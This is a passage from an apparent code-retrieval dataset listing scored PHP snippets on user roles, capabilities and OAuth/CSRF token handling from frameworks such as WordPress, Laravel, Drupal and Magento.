true,\n\t\t\t'moderate_comments' => true,\n\t\t\t'plugin_edit_pending' => true,\n\t\t\t'plugin_review' => true,\n\t\t\t'plugin_dashboard_access' => true,\n\t\t\t'plugin_edit' => true,\n\t\t\t'plugin_edit_others' => true,\n\t\t);\n\n\t\t$admin = array_merge( $reviewer, array(\n\t\t\t'plugin_approve' => true,\n\t\t\t'plugin_reject' => true,\n\t\t\t'plugin_disable' => true,\n\t\t\t'plugin_close' => true,\n\t\t\t'plugin_set_section' => true, // Special categories.\n\t\t\t'manage_categories' => true, // Let them assign these special categories.\n\t\t) );\n\n\t\t// Remove the roles first, incase we've changed the permission set.\n\t\tremove_role( 'plugin_reviewer' );\n\t\tremove_role( 'plugin_admin' );\n\t\tadd_role( 'plugin_reviewer', 'Plugin Reviewer', $reviewer );\n\t\tadd_role( 'plugin_admin', 'Plugin Admin', $admin );\n\n\t\t$wp_admin_role = get_role( 'administrator' );\n\t\tif ( $wp_admin_role ) {\n\t\t\tforeach ( $admin as $admin_cap => $value ) {\n\t\t\t\t$wp_admin_role->add_cap( $admin_cap );\n\t\t\t}\n\t\t}\n\n\t\tupdate_option( 'default_role', 'subscriber' );\n\t}", "title": "" }, { "docid": "9ff42eb90f0d2db0e33945a0b99577db", "score": "0.52130246", "text": "function getRoles() {\n return $this->roles;\n }", "title": "" }, { "docid": "9ff42eb90f0d2db0e33945a0b99577db", "score": "0.52130246", "text": "function getRoles() {\n return $this->roles;\n }", "title": "" }, { "docid": "d0b4687baf5984dbd052c2e7da5f50a4", "score": "0.5207221", "text": "function set_user_roles($user_id,$role_id=\"\",$old_roles=array()) {\n global $aiosc_capabilities;\n if(empty($role_id)) return;\n $u = new aiosc_user($user_id);\n //get plugin role from old roles\n foreach($old_roles as $role) {\n if($aiosc_capabilities->role_exists($role)) {\n $u->wpUser->add_role($role);\n return;\n }\n }\n }", "title": "" }, { "docid": "4e2b5db73d3bce85da728bced6c153e2", "score": "0.5194518", "text": "public function roles()\n {\n $roles = $this->morphToMany(\n Config::get('laratrust.models.role'),\n 'user',\n Config::get('laratrust.tables.role_user'),\n Config::get('laratrust.foreign_keys.user'),\n Config::get('laratrust.foreign_keys.role')\n );\n\n if (Config::get('laratrust.use_teams')) {\n $roles->withPivot(Config::get('laratrust.foreign_keys.team'));\n }\n\n return $roles;\n }", "title": "" }, { "docid": "292526a505e8776810c186d9642e61d4", "score": "0.51944745", "text": "public function getRoles() {\n return $this->roles;\n\t}", "title": "" }, { "docid": "4474092537f012a8ab3a0ed603eb2755", "score": "0.5184895", "text": "protected function buildEventRoles()\n {\n $event = new AuthRolesEvent();\n $this->dispatcher->dispatch(AuthEvents::AUTH_ROLE, $event);\n\n foreach ((array) $event->getRoles() as $role) {\n if ($role instanceof Role) {\n $this->roles[$role->getName()] = $role;\n }\n }\n }", "title": "" }, { "docid": "0b4e72643f1d54da413e07b16ac62780", "score": "0.5180541", "text": "public function getRolesCollection()\n {\n return $this->roles;\n }", "title": "" }, { "docid": "32a2a8c1b6f0fc89933814e7be92236e", "score": "0.51787305", "text": "public function getRoles()\n { \n $this->uri = \"/rest/api/\".$this->getApiVersion().\"/role/\"; \n $this->method = \"GET\";\n }", "title": "" }, { "docid": "c102ee97b560a7c89b0b6653ea4e7082", "score": "0.51743454", "text": "public function resetRolesAndPermissions()\n {\n $this->roles = [];\n $this->resolvedRoles = [];\n $this->permissions = [];\n $this->resolved = false;\n }", "title": "" }, { "docid": "ebf3f3012e38611dbe1e846eaa4b81a9", "score": "0.5174078", "text": "public function syncRoles(UserInterface $account) {\n $config = $this->configFactory->get('civicrm_group_roles.settings');\n $logger = $this->loggerFactory->get('civicrm_group_roles');\n\n if (!$contactId = $this->getContactId($account->id())) {\n $logger->error('CiviCRM contact not found for Drupal user ID %id', [\n '%id' => $account->id(),\n ]);\n return;\n }\n\n $userGroups = $this->getContactGroupIds($contactId);\n\n // Find which roles need to be added and removed.\n $addRoles = $removeRoles = [];\n foreach (CivicrmGroupRoleRule::loadMultiple() as $rule) {\n if (in_array($rule->group, $userGroups)) {\n $addRoles[] = $rule->role;\n }\n else {\n $removeRoles[] = $rule->role;\n }\n }\n\n $userRoles = $account->getRoles();\n\n $addRoles = array_unique($addRoles);\n $removeRoles = array_unique($removeRoles);\n $removeRoles = array_diff($removeRoles, $addRoles);\n $removeRoles = array_intersect($removeRoles, $userRoles);\n $addRoles = array_diff($addRoles, $userRoles);\n\n // Add/remove the roles as we've determined.\n foreach ($addRoles as $role) {\n $account->addRole($role);\n }\n foreach ($removeRoles as $role) {\n $account->removeRole($role);\n }\n\n if ($config->get('debugging')) {\n $params = [\n '%initial' => print_r($userRoles, TRUE),\n '%add' => print_r($addRoles, TRUE),\n '%remove' => print_r($removeRoles, TRUE),\n '%final' => print_r($account->getRoles(), TRUE),\n ];\n $logger->info('Initial roles: %initial, roles to add: %add, roles to remove: %remove, final roles: %final', $params);\n }\n\n // If there were changes, save the user.\n if ($account->getRoles() != $userRoles) {\n $account->save();\n }\n }", "title": "" }, { "docid": "d0919057e08b5fe17cb1e3e33e23ad26", "score": "0.5171183", "text": "public function roles_all()\n {\n $this->loadRolesRelations();\n\n return collect([$this->role])->merge($this->roles);\n }", "title": "" }, { "docid": "8077e149f5697e38c626775d21408a0a", "score": "0.5169635", "text": "public function testUpdateRole()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "41323b4e217ec588d470507be8897958", "score": "0.51677066", "text": "public function refreshRolesAction()\n {\n $resourceAcl = Mage::getResourceModel('admin/acl')->loadAcl();\n $roles = Mage::getResourceModel('admin/role_collection')->setRolesFilter()->getItems();\n try {\n foreach ($roles as $role) {\n $roleTypeId = $role->getRoleType() . $role->getRoleId();\n $selectedResourceIds = array();\n if ($resourceAcl->isAllowed($roleTypeId, 'all')) {\n $selectedResourceIds = array('all');\n } else {\n foreach ($resourceAcl->getResources() as $resource) {\n if ($resourceAcl->isAllowed($roleTypeId, $resource)) {\n array_push($selectedResourceIds, $resource);\n }\n }\n }\n\n Mage::getModel('admin/rules')\n ->setRoleId($role->getId())\n ->setResources($selectedResourceIds)\n ->saveRel();\n }\n\n Mage::getSingleton('adminhtml/session')->addSuccess($this->__('The roles have been refreshed.'));\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::logException($e);\n Mage::getSingleton('adminhtml/session')->addError($this->__('An error occurred while refreshing roles.'));\n }\n\n $this->_redirect('*/*/');\n return;\n }", "title": "" }, { "docid": "77ea57a6e564e72903c40f669e0b4d3a", "score": "0.5162218", "text": "public function getRoles()\n {\n if(!$this->roles)\n {\n $this->initRoles = [];\n $throwex = null;\n try\n {\n $conn = $this->open();\n $que = $conn->genQuery(\n array(\"COL_USER_NAME\", \"COL_USER_GROUP_NAME\"),\n array(new \\RODSQueryCondition(\"COL_USER_NAME\", $this->params['user']),\n new \\RODSQueryCondition(\"COL_USER_ZONE\", $this->params['zone'])));\n for($i=0; $i<sizeof($que[\"COL_USER_GROUP_NAME\"]);$i++)\n {\n if($que[\"COL_USER_GROUP_NAME\"][$i] != $que[\"COL_USER_NAME\"][$i])\n {\n $this->roles[$que[\"COL_USER_GROUP_NAME\"][$i]] = true;\n }\n }\n }\n catch(Exception $ex)\n {\n $throwex = $ex;\n }\n finally\n {\n $this->close($conn);\n }\n if($throwex)\n {\n throw $throwex;\n }\n }\n return $this->roles;\n }", "title": "" }, { "docid": "e3709ebcf751db64aca7cbf8571f11fb", "score": "0.51562166", "text": "public function setup() {\n\t\tif ( ! $this->roles ) {\n\t\t\treturn;\n\t\t}\n\n\t\tforeach ( $this->roles as $role ) {\n\t\t\t$role_status = $this->role_exists( $role );\n\t\t\tif ( is_wp_error( $role_status ) ) {\n\t\t\t\tswitch ( $role_status->get_error_code() ) {\n\t\t\t\t\tcase 'role_does_not_exist' :\n\t\t\t\t\t\t$this->create_role( $role );\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'outdated_role_exists' :\n\t\t\t\t\t\t$this->upgrade_role( $role );\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tadd_filter( 'user_has_cap', [ $this, 'add_dynamic_capabilities' ], 10, 4 );\n\t\tadd_filter( 'gettext_with_context', [ $this, 'translate_user_roles' ], 10, 4 );\n\t\tadd_filter( 'editable_roles', [ $this, 'filter_editable_roles' ] );\n\t}", "title": "" }, { "docid": "45486dc4875ea55d58b881e3b68e5357", "score": "0.5155832", "text": "private function fetchRoles()\n {\n $this->roleArray = [];\n\n $this->checkForMember();\n\n foreach ($this->member->roles()->get() as $role) {\n $this->roleArray[] = $role->name;\n }\n\n return $this;\n }", "title": "" }, { "docid": "08d61decac6d06114d54a0c33c6d6f7d", "score": "0.51543504", "text": "public function roles(): MorphToMany\n {\n return $this->morphToMany(\n config('permission.models.role'),\n 'model',\n config('permission.table_names.model_has_roles'),\n 'model_id',\n 'role_id'\n );\n }", "title": "" }, { "docid": "1d9a79f57d4788e6718f4de62f9af92d", "score": "0.51536936", "text": "public function loadroles ()\n {\n Excel::selectSheets('role_user')->load('public/capstone_questions.xlsx', function ($reader) {\n $house_role_users = $reader->all();\n foreach ($house_role_users as $house_role_user) {\n \\App\\Enrolment::create($house_role_user->toArray());\n }\n });\n\n Excel::selectSheets('permission_role')->load('public/capstone_questions.xlsx', function ($reader) {\n $permission_roles = $reader->all();\n foreach ($permission_roles as $permission_role) {\n \\App\\Permission_Role::create($permission_role->toArray());\n }\n });\n }", "title": "" }, { "docid": "a3a5196df42cb3ec8ed58ea238c060eb", "score": "0.5150552", "text": "function sticky_modify_editor_roles() {\n\n // get the the role object\n $role_object = get_role( 'editor' );\n\n // add $cap capability to this role object\n $role_object->add_cap( 'edit_theme_options' );\n}", "title": "" } ]
5eb096d0d3071988f84b24ae86cea167
limit token updates to once every 5 seconds
[ { "docid": "e5232e973c17a1998fa791354e4a76f5", "score": "0.0", "text": "public function withToken($tokenStr, $extendToken)\n {\n $throttle = true;\n\n // will be derived from the tokenTtl if we decide to update\n // (i.e. not ignored because of throttling)\n $expiresAt = null;\n\n return $this->updateToken($tokenStr, $extendToken, $throttle, $expiresAt);\n }", "title": "" } ]
[ { "docid": "869a8a83a3c432a96c99008cf3a29fb0", "score": "0.69648033", "text": "private function update_token() {\n $update = array(\n \"token\" => $this->generate_token(),\n \"token_expire\" => date(\"Y-m-d H:i:s\",strtotime(date(\"Y-m-d H:i:s\") . \"+2 days\"))\n );\n $this->init($this->db->update(\"user\", $this->id, $update)[\"result\"]);\n }", "title": "" }, { "docid": "1acc19fa42c8b3687d4cf852daf61093", "score": "0.68142825", "text": "function updateToken() {\n\t\t$new_token = md5(strtotime('now'));\n\t\t$this->setToken($new_token);\n\t\treturn $this->update();\n\t}", "title": "" }, { "docid": "e9a053a712bc77b88bcab273b4256857", "score": "0.6709144", "text": "function updateToken() {\n $new_token = md5(strtotime('now'));\n $this->setToken($new_token);\n return $this->update();\n }", "title": "" }, { "docid": "3ca3dae6c722247402d4f5bfcbd26bb9", "score": "0.65297157", "text": "function updateToken($token) {\n \n $sql = \"UPDATE sessions SET last_used=:last_used_IN WHERE token=:token_IN\";\n $statement = $this->database_connection->prepare($sql);\n $time = time();\n $statement->bindParam(\":last_used_IN\", $time);\n $statement->bindParam(\":token_IN\", $token);\n $statement->execute();\n\n }", "title": "" }, { "docid": "d3555cc1fbd6767441b726fd528c54d9", "score": "0.6512232", "text": "public function getNewRefreshToken()\n {\n\n }", "title": "" }, { "docid": "69959b2bf10cc7f0a79c4686152b0bc8", "score": "0.6478557", "text": "function UpdateToken($token) {\n\n $sql = \"UPDATE sessions SET last_used=:last_used_IN WHERE token=:token_IN\";\n $statement = $this->database_connection->prepare($sql);\n $time = time();\n $statement->bindParam(\":last_used_IN\", $time);\n $statement->bindParam(\":token_IN\", $token);\n $statement->execute();\n \n }", "title": "" }, { "docid": "b4538074543b36fcc52844e59bba37be", "score": "0.6450193", "text": "function oAuthRefreshToken() {\n\t\t\t$response = json_decode(BigTree::cURL($this->TokenURL,array(\n\t\t\t\t\"client_id\" => $this->Settings[\"key\"],\n\t\t\t\t\"client_secret\" => $this->Settings[\"secret\"],\n\t\t\t\t\"refresh_token\" => $this->Settings[\"refresh_token\"],\n\t\t\t\t\"grant_type\" => \"refresh_token\"\n\t\t\t)));\n\t\t\tif ($response->access_token) {\n\t\t\t\t$this->Settings[\"token\"] = $response->access_token;\n\t\t\t\t$this->Settings[\"expires\"] = strtotime(\"+\".$response->expires_in.\" seconds\");\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "00fc4d501e0e05ed9f2b60c7242e005c", "score": "0.6438211", "text": "protected function refresh_token($token)\n {\n // TODo\n }", "title": "" }, { "docid": "bae020823ad46409260c93ea16ac64b9", "score": "0.63408107", "text": "public function updateToken(){\n\t\t\t$token=substr(sha1(uniqid().rand(1,1000).rand(1,1000)),rand(3,10),4);\n \t\t\t$token.=\"-\".substr(sha1(uniqid().rand(1,1000).rand(1,1000)),rand(3,10),4);\n \t\t\t$token.=\"-\".substr(sha1(uniqid().rand(1,1000).rand(1,1000)),rand(3,10),4);\n\t\t\t$update_sql = \"UPDATE `user` SET `password` = '', `token` = '\" . $token . \"', `token_expires` = DATE_ADD(UTC_TIMESTAMP(), INTERVAL 15 MINUTE) WHERE `email` = ? AND `status` = 'active' AND `deleted_date` is NULL\";\n\n\t \t\t// Insert site content\n\t\t\tif ( ! $stmt = $this->db->prepare( $update_sql ) ) return false;\n\t\t\t$stmt->mbind_param( 's', $this->email );\n\t\t\t$stmt->execute( $stmt );\n\t\t\tif ($stmt->affected_rows){\n\t\t\t\t//$this->setValid(1);\n\t\t\t\t$this->setToken($token);\n\t\t\t}\n\t\t\t// Terminate\n\t\t\t$stmt->close();\n\t\t\treturn true;\n\t\t}", "title": "" }, { "docid": "2b8232f2794ae5771c33565ce141c4f0", "score": "0.63014644", "text": "public function refreshToken(): void\n {\n $this->logout();\n $this->getToken();\n }", "title": "" }, { "docid": "1c06ab26de39019867588dfc19c53fde", "score": "0.6158328", "text": "public function resetToken() {\n Mage::getSingleton('ipgbase/session')->unsIpagareTimestamp();\n }", "title": "" }, { "docid": "e39d5125cf0487adadb59117d4a34493", "score": "0.6128362", "text": "private function rateLimitYoutube(){\n while (!$this->app->redis->rateisvalid(1, 1, 60, null, 2, false, false, 'domyoutube')) {\n sleep(2);\n }\n }", "title": "" }, { "docid": "2f38a0fd870fe20a8ad0e101fb6ff573", "score": "0.6054935", "text": "public function onUserChange()\n {\n $this['option']->set(self::REFRESH_TOKEN, time(), true);\n }", "title": "" }, { "docid": "e67ad9c64f1a9e8d19ec849c9287cf46", "score": "0.60401565", "text": "public static function refreshToken() {\n // verify that token is not expired\n if (!static::verify()) throw new Exception('Invalid token');\n $jwt = filter_input(INPUT_SERVER, 'HTTP_BEARER');\n $aud = filter_input(INPUT_SERVER, 'HTTP_CID');\n $id = [\n 'aud' => $aud,\n 'token' => $jwt\n ];\n // update db\n $Builder = new Builder();\n $iss = time();\n $exp = self::getExpirationTime();\n $Builder->setIssuer(config('app.url'))\n ->setAudience($aud)\n ->setId($aud, true)\n ->setIssuedAt($iss)\n ->setExpiration($exp)\n ->sign(new Sha256(), config('app.id'));\n $token = (string) $Builder->getToken();\n // update with new token details\n static::update($id,\n [\n 'iss' => $iss,\n 'exp' => $exp,\n 'token' => $token\n ]);\n // return token and expiration time\n return [\n 'expires' => $exp,\n 'token' => $token\n ];\n }", "title": "" }, { "docid": "26199144780b17c448736cb20743a0a9", "score": "0.60353595", "text": "private static function updateToken()\n {\n $ch = curl_init();\n\n curl_setopt($ch, CURLOPT_URL, PayPalSettings::getBaseUrl() . \"/v1/oauth2/token\");\n curl_setopt($ch, CURLOPT_HEADER, false);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($ch, CURLOPT_POST, true);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_USERPWD, PayPalSettings::getAuthInfo());\n curl_setopt($ch, CURLOPT_POSTFIELDS, \"grant_type=client_credentials\");\n\n $result = curl_exec($ch);\n\n if (empty($result)) {\n curl_close($ch);\n return false;\n } else {\n $json = json_decode($result);\n self::$tokenInfo = $json;\n self::$timestampExpire = time() + $json->expires_in * 1000;\n curl_close($ch);\n \\Yii::$app->cache->set('tokenInfo',$result,$json->expires_in);\n \\Yii::$app->cache->set('timestampExpire',self::$timestampExpire,$json->expires_in);\n return true;\n }\n\n }", "title": "" }, { "docid": "69f1a0392b734bca0778c227952e6601", "score": "0.60114264", "text": "protected function tokenUpdated(): void\n {\n Notification::make()\n ->title(__('filament-companies::default.notifications.token_updated.title'))\n ->success()\n ->body(__('filament-companies::default.notifications.token_updated.body'))\n ->send();\n }", "title": "" }, { "docid": "7025195cfd562a8298facf19b4bc6657", "score": "0.6000558", "text": "private function updateRefreshTokens($entry) {\n if ($this->isMRRT($entry)) {\n if (array_key_exists('userId', $entry)) {\n $tokens = $this->findMRRTTokensForUser($entry['userId']);\n if (!$tokens || !isset($tokens) || sizeof($tokens) <= 0) {\n return;\n }\n\n Logger::log('Updating ' . sizeof($tokens) . ' cached refresh tokens.');\n if ($this->removeMany($tokens)) {\n foreach ($tokens as $token) {\n $token[Constants::constant('TokenResponseFields')['REFRESH_TOKEN']] = $entry[Constants::constant('TokenResponseFields')['REFRESH_TOKEN']];\n }\n\n $this->addMany($tokens);\n\n return true;\n }\n }\n }\n\n return; \n }", "title": "" }, { "docid": "2104565b7c7a95045837ac397954bf49", "score": "0.5989636", "text": "private function refreshTokens() {\n $config = \\Drupal::config('newsletter2go.config');\n $key_value_store = \\Drupal::keyValue('newsletter2go');\n $authKey = $config->get('authkey');\n $auth = base64_encode($authKey);\n $refreshToken = $key_value_store->get('refreshToken');\n $refreshPost = array(\n 'refresh_token' => $refreshToken,\n 'grant_type' => N2GO_REFRESH_GRANT_TYPE,\n );\n $post = http_build_query($refreshPost);\n\n $url = N2GO_API_URL . 'oauth/v2/token';\n\n $header = array(\n 'Authorization: Basic ' . $auth,\n 'Content-Type: application/x-www-form-urlencoded'\n );\n\n $curl = curl_init($url);\n curl_setopt($curl, CURLOPT_HTTPHEADER, $header);\n\n curl_setopt($curl, CURLOPT_POST, TRUE);\n curl_setopt($curl, CURLOPT_POSTFIELDS, $post);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\n $json_response = curl_exec($curl);\n if ($this->debugMode) {\n $this->logger->debug(__LINE__ . ':' . $post . \"\\r\\n\" . $json_response);\n }\n curl_close($curl);\n\n $response = json_decode($json_response);\n\n\n if (isset($response->access_token) && !empty($response->access_token)) {\n $key_value_store->set('accessToken', $response->access_token);\n }\n if (isset($response->refresh_token) && !empty($response->refresh_token)) {\n $key_value_store->set('refreshToken', $response->refresh_token);\n }\n\n return TRUE;\n }", "title": "" }, { "docid": "afc79edb4e611c2158a77573a0d7a851", "score": "0.59743255", "text": "function tokenUpdateCallback(\\Picqer\\Financials\\Exact\\Connection $connection) {\n // Save the new tokens for next connections\n setValue('accesstoken', $connection->getAccessToken());\n setValue('refreshtoken', $connection->getRefreshToken());\n // Save expires time for next connections\n setValue('expires_in', $connection->getTokenExpires());\n}", "title": "" }, { "docid": "6a613f70ae0abc83bc88fc1db38f8972", "score": "0.5912497", "text": "public function refreshApiToken();", "title": "" }, { "docid": "ff11bb13d495ce3a566d990a510cb827", "score": "0.5903039", "text": "public function regenerateToken()\n {\n $this->put('_token', Quform::randomString(40));\n }", "title": "" }, { "docid": "15d8f82dfe2d518e5f701145d9ed571c", "score": "0.5885702", "text": "function check_token($con, $token) {\r\n global $TOKEN_VALID_DURATION;\r\n\r\n // Locate token.\r\n $sql = \"SELECT token_id, expire_date FROM token WHERE token_body = ?\";\r\n $result = get_data($con, $sql, 's', $token);\r\n\r\n if (count($result) != 1) {\r\n error(\"Invalid token.\");\r\n }\r\n\r\n $time = $result[0]['expire_date'];\r\n $curr_time = time();\r\n\r\n // Check token validity.\r\n if ($time < $curr_time) {\r\n error(\"Token expired. Please login again.\");\r\n } else {\r\n // If valid, refresh token duration.\r\n $sql = 'UPDATE token SET expire_date = ? WHERE token_id = ?';\r\n $updated_time = $curr_time + $TOKEN_VALID_DURATION;\r\n run_query($con, $sql, \"ii\", $updated_time, $result[0]['token_id']);\r\n }\r\n }", "title": "" }, { "docid": "7fc2ceb6d27ce6239d8b11d8e5229433", "score": "0.5883703", "text": "private function setToken() {\n\t\t$this->token = $this->makeToken();\n\t\t$_SESSION[$this->sessionIndex][$this->formId][$this->token] = time();\n\t}", "title": "" }, { "docid": "53c8771311d9d7596d239fe62ce599aa", "score": "0.5879139", "text": "public function tokens()\n {\n $this->checkCSRFParam();\n $this->config->regenerateTokens();\n $this->session->flash(t('All tokens have been regenerated.'));\n $this->response->redirect('?controller=config');\n }", "title": "" }, { "docid": "af9506d14e597c75c99335ca94191140", "score": "0.5847227", "text": "function generateFeedToken() {\n\t\t$redirect_url = isset($_GET['redirect'])?$_GET['redirect']:'/nterchange';\n\t\t$random = $_SERVER['REMOTE_ADDR'] . rand(0,1000000) . time();\n\t\t$tmp_feed_token = md5($random);\n\t\t$auth = new NAuth();\n\t\t$user_id = $auth->currentUserID();\n\t\tunset($auth);\n\t\t$cms_user = NModel::factory('cms_auth');\n\t\t$cms_user->id = $user_id;\n\t\tif ($cms_user->find()) {\n\t\t\twhile ($cms_user->fetch()) {\n\t\t\t\t$cms_user->feed_token = $tmp_feed_token;\n\t\t\t\t$cms_user->save();\n\t\t\t\theader(\"Location:$redirect_url\");\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "778e9eefa9ed6929f1bfeef67e057a4f", "score": "0.583805", "text": "public function storeNewRefreshToken() \n {\n\t/** \n\tcheck if key exists - use a focused key to avoid any clash in League or related code\n\t*/\n $key = \"League\\\\OAuth2\\\\Client\\\\Token\" . \"\\\\updatedRefreshToken\";\n if (array_key_exists($key,$_SESSION))\n {\n $nrt = $_SESSION[$key];\n\n\t/** \n\tcheck if value was not empty\n\t*/\n if (!empty($nrt)) {\n\t \n $optionsD1 = [\n $this->clientId,\n $this->clientSecret,\n $this->clientCertificatePrivateKey, \n $this->clientCertificateThumbprint, \n\t$this->redirectURI,\n $this->serviceProvider,\n $this->authTypeSetting,\n $this->fromNameDefault,\n $this->SMTPAddressDefault,\n $this->SMTPPassword,\n $this->hostedDomain,\n $this->refresh,\n $nrt,\n\t$this->grantTypeValue,\n ];\n /** \n Don't override $this->refreshToken as having the old and new may help any diagnostics\n */\n\n $optionsD2 = implode(self::IMPLODE_GLUE, $optionsD1);\n\n /**\n * If the contents of the file (below) need encrypting, do it here.\n * Just encrypt $optionsD2\n */\n\n /**\n * write the completed set of parameters to file\n */\n file_put_contents(\n self::OAUTH2_PARAMETERS_FILE . \"_\" . $this->mailAuthSet . \".txt\",\n $optionsD2\n );\n\n } // ends 'if token was found but value was not empty'\n\n\t } // ends 'if a token was actually found in $_SESSION\n\t\n\t/**\n * ends storeNewRefreshToken method\n */\n }", "title": "" }, { "docid": "ef5c8dfa3d2bf3cfb3981cee7224b137", "score": "0.5815147", "text": "protected function _initializeTokens()\n\t{\n\t\t$this->_previousToken = $this->_session->key;\n\t\t\n\t\t$newKey = sha1(microtime() . mt_rand());\n\t\t\n\t\t$this->_session->key = $newKey;\n\t\tif($this->_expiryTime > 0)\n\t\t\t$this->_session->setExpirationSeconds($this->_expiryTime);\n\t\t\n\t\t$this->_token = $newKey;\n\t}", "title": "" }, { "docid": "c239426f34797f100b7c5079e258893f", "score": "0.5781372", "text": "public function testRefreshToken()\n {\n }", "title": "" }, { "docid": "c7aafe7fad48921ec82cb9e079928596", "score": "0.5769225", "text": "function token() {\n global $wpdb;\n\n $debug = [];\n\n $t1 = microtime(true);\n\n $server = new \\League\\OAuth2\\Server\\Authorization(new ClientModel, new SessionModel, new ScopeModel);\n $server->addGrantType(new \\League\\OAuth2\\Server\\Grant\\AuthCode());\n $server->addGrantType(new \\League\\OAuth2\\Server\\Grant\\RefreshToken());\n\n $server->getGrantType('refresh_token')->rotateRefreshTokens(true);\n\n $debug['t1'] = microtime(true) - $t1;\n $t2 = microtime(true);\n\n try {\n $p = $server->issueAccessToken();\n } catch (\\League\\OAuth2\\Server\\Exception\\ClientException $e) {\n $debug['t2'] = microtime(true) - $t2;\n\n $p = ['error' => true, 'message' => 'invalid grant type'];\n\n if (defined('OAUTH2_SERVER_DEBUG') && OAUTH2_SERVER_DEBUG === true) {\n $p['debug'] = $debug;\n }\n\n header('HTTP/1.1 500 Internal Server Error');\n echo json_encode($p);\n die();\n }\n\n $debug['t2'] = microtime(true) - $t2;\n $t3 = microtime(true);\n\n // Add user data\n\n $user_id = absint($wpdb->get_var($wpdb->prepare(\"SELECT owner_id FROM {$wpdb->prefix}oauth2_server_sessions WHERE id = (SELECT session_id FROM {$wpdb->prefix}oauth2_server_access_tokens WHERE access_token=%s AND deleted_at='0000-00-00 00:00:00' LIMIT 1) AND deleted_at='0000-00-00 00:00:00'\", $p['access_token'])));\n\n if ($user_id === 0) {\n $debug['t3'] = microtime(true) - $t3;\n\n $p = ['error' => true, 'message' => 'invalid auth code'];\n\n if (defined('OAUTH2_SERVER_DEBUG') && OAUTH2_SERVER_DEBUG === true) {\n $p['debug'] = $debug;\n }\n\n header('HTTP/1.1 500 Internal Server Error');\n echo json_encode($p);\n die();\n }\n $user = get_user_by('id', $user_id);\n\n $debug['t3'] = microtime(true) - $t3;\n\n $p['information'] = [\n 'email' => $user->data->user_email,\n 'display_name' => $user->data->display_name,\n 'extra' => apply_filters('oauth2_server_extra', [], $user_id),\n ];\n\n if (defined('OAUTH2_SERVER_DEBUG') && OAUTH2_SERVER_DEBUG === true) {\n $p['debug'] = $debug;\n }\n\n echo json_encode($p);\n die();\n }", "title": "" }, { "docid": "3cc4df400b28af0afcbaa87754ed9bce", "score": "0.57492393", "text": "private function setToken()\n\t{\n\t\t$storedToken = $this->readTokenFromStorage();\n\t\t\n\t\tif ($storedToken === '')\n\t\t{\n\t\t\t$token = md5(uniqid(rand(), TRUE));\n\t\t\t$this->writeTokenToStorage($token);\n\t\t}\n\t}", "title": "" }, { "docid": "506e304bec5ab2d890ca4e7438eba96c", "score": "0.57231843", "text": "function newToken($token_only=false){\n\t\tglobal $auto_restrict;\n\t\t$token=hash('sha512',uniqid('',true));\n\t\t$_SESSION[$token]=@date('U')+$auto_restrict['tokens_expiration_delay'];\n\t\tif (!$token_only){echo '<input type=\"hidden\" value=\"'.$token.'\" name=\"token\"/>';}\n\t\telse {echo $token;}\n\t}", "title": "" }, { "docid": "4b12f37fb96f084d42542e955cc6f229", "score": "0.5722524", "text": "public function resetLastUpdateTokenTime()\n {\n $this->saveConfigValue('token/link/last_updated_date', '');\n }", "title": "" }, { "docid": "85a407dac171941bd4ea4eaa67b150df", "score": "0.5716011", "text": "function returnToken(){\n\t\tglobal $auto_restrict;\n\t\t$token=hash('sha512',uniqid('',true));\n\t\t$_SESSION[$token]=@date('U')+$auto_restrict['tokens_expiration_delay'];\n\t\treturn $token;\n\t}", "title": "" }, { "docid": "9873ebf9ab0834dfed8f10a97bc96771", "score": "0.56913656", "text": "function check_token() {\n\t$timeKey = ARequest::get('timeKey');\n\t /* token expire 3600s */\n\tif(($timeKey > time()) or (time() > (3600 + $timeKey)) or (substr(md5(SOFT_SEED . $timeKey), 8, 8) != ARequest::get('token'))) {\n\t\treturn false;\n\t}\n\treturn true;\n}", "title": "" }, { "docid": "7934f0e8c288dc42ebdce630e57f0f06", "score": "0.56910425", "text": "function tw_ee_change_session_lifespan() {\n return 10 * MINUTE_IN_SECONDS;\n}", "title": "" }, { "docid": "218b60e938cad3fec3a099f5c53bf74b", "score": "0.5688316", "text": "public function refresh(Token $token, bool $forceForever = false): Token;", "title": "" }, { "docid": "100d830a133e35095c31888e9ae2b77d", "score": "0.5671742", "text": "public function refresh_token() {\n $info = array(\n 'refresh_token' => $this->api_config['refresh_token'],\n 'grant_type' => 'refresh_token',\n 'client_id' => $this->api_config['client_id'],\n 'client_secret' => $this->api_config['client_secret']\n );\n\n // Get returned CURL request\n $request = $this->make_request(self::OAUTH2_TOKEN_URI, 'POST', 'normal', $info);\n\n if( isset($request->access_token) ) {\n // Push the new token into the api_config\n $this->api_config['access_token'] = $request->access_token;\n\n // Push the new token into the settings\n $this->token['access_token'] = $request->access_token;\n\n if( $this->provider_id === 0 ) {\n $this->update_gcal_option('ga_appointments_gcal_token', $this->token );\n } else {\n $this->update_gcal_option('ga_provider_gcal_token', $this->token );\n }\n\n // Return the token\n return $request;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "8f8848f93f86e9beac2a9f4e71e4e4ad", "score": "0.5654078", "text": "protected static function _recycleTokens()\n {\n \\uasort($_SESSION['CSRF'], function($a, $b) {\n return $a['created'] - $b['created'];\n });\n if (\\count($_SESSION['CSRF']) > self::RECYCLE_AFTER) {\n // Let's knock off the oldest one\n \\array_shift($_SESSION['CSRF']);\n }\n }", "title": "" }, { "docid": "43ba4a243218864183a6cea1e219501f", "score": "0.56513834", "text": "public function deleteExpiredTokens(): void;", "title": "" }, { "docid": "abdf9e788c93f12aad49b493aba5c992", "score": "0.56430686", "text": "private function expireToken(){\n $dateNow = new DateTime();\n $dateNow->modify(\"+ 1 day\");\n return $dateNow->format(\"Y-m-d H:i:s\");\n }", "title": "" }, { "docid": "962e469aa5ab92adae876e6795af7b2b", "score": "0.5639205", "text": "private function _setValidityTime() {\n\n\t\tif ( empty( $this->_tokens['access_token'] ) ) 